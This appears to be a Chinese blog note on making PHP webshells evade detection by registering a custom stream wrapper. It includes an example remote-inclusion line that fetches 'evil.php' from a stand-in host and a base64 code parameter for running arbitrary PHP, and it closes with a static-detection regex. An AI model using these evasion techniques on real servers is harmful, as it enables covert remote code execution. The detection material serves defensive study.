Web安全 | 使用流包装器实现WebShell免杀

前言

本文是看PHP使用流包装器实现WebShell有感,权当做个笔记。

很早的以前,我们就见过 php://input,这其实就是流包装器的一种。php://input 是个可以访问请求原始数据的只读流。下面这行代码就是通过php://input获取post的数据,执行eval的一句话木马。

include 函数,通常用于包含本地文件和远程文件。如果可以远程文件包含,则很容易构造免杀webshell。通过 include "htttp://remote.com/evil.php",把恶意代码放到远程机器上即可。但是,远程文件包含依赖php.ini的两个配置

通常情况下,这两个配置会被关闭,所以远程包含就用不了。那如果 " include 流 " 这种方式能否实现呢?

答案是肯定的,这个流我们可以通过PHP函数 stream_wrapper_register 注册包装器来实现。那为什么不使用php://input流来实现呢,要自己构造一个流函数。原因有二:

1、php://input流需要file_get_contents来获取,容易被查杀

2、http://php.net/manual/zh/wrappers.php.php 这里有说明,php://input 受到 allow_url_fopen 的限制

 

编写

注册包装器的函数参考 http://php.net/manual/en/class.streamwrapper.php

编写实例参考http://www.cnblogs.com/jingjingdidunhe/p/6346884.html

使用方法,传入code参数。例如:

其中 PD9waHAgcGhwaW5mbygpOw%3D%3D 就是<?php phpinfo(); 的base64编码。要想执行其他命令传入完整php代码的base64编码即可

 

检测

1、动态检测:一般大型互联网会有自主研发的入侵检测系统,hook底层的命令,所以可以在webshell触发命令后检测到。

2、静态检测:大多数安全产品和应急响应使用的是静态检测,这边一个思路是匹配对应的正则

(include|require)(_once){0,1}[\s*]+[\"|\']+[0-9A-Za-z_]*\://

已加入到笔者的webshell静态检测工具 findWebshell

 

参考

http://www.freebuf.com/articles/web/176571.html

http://www.cnblogs.com/jingjingdidunhe/p/6346884.html

 

本文由 孤独常伴 作者:孤独常伴 发表,其版权均为 孤独常伴 所有,文章内容系作者个人观点,不代表 孤独常伴 对观点赞同或支持。如需转载,请注明文章来源。

0

发表评论